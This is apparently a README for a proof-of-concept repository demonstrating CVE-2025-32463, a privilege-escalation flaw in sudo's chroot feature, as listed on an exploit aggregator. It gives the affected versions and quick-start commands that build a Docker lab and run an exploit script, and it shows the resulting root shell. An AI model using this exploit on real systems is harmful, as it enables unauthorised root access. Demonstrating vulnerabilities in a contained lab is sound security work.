## https://sploitus.com/exploit?id=3F1B7B39-2DAB-5AF1-9E0A-D3E826875E88
# CVE-2025-32463 – sudo chroot ("chwoot") PoC
This repository provides a minimal, reproducible environment to demonstrate the **CVE‑2025‑32463** privilege‑escalation flaw in `sudo`’s chroot feature.
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## Contents
| File | Purpose |
| ------------------ | ---------------------------------------------------------------------------------- |
| **Dockerfile** | Builds an Ubuntu 24.04 image with vulnerable **sudo 1.9.16p2** and build tools |
| **sudo‑chwoot.sh** | Proof‑of‑concept exploit that spawns a root shell inside the chroot |
| **run.sh** | Helper script that builds the image (if needed) and launches the exploit container |
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## Affected Versions
> Vulnerable builds of **sudo 1.9.14** up to **1.9.17** (all p‑revisions) on most Linux distributions are affected.
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## Quick Start
```bash
# 1 – clone repo
$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
$ cd CVE-2025-32463_chwoot
# 2 – build and run Docker image (tagged "sudo-chwoot")
$ ./run.sh
# 3 – run exploit in container (drops you into a root shell)
pwn@0da3726bd81f:~$ ./sudo-chwoot.sh
woot!
root@0da3726bd81f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
```
`run.sh` passes `--privileged` and `--rm` to Docker so the container cleans itself up when you exit.
---
## Clean Up
Remove the image when you’re done:
```bash
docker rmi sudo-chwoot
```
---
## Reference
- Stratascale CRU vulnerability note: [https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot](https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot)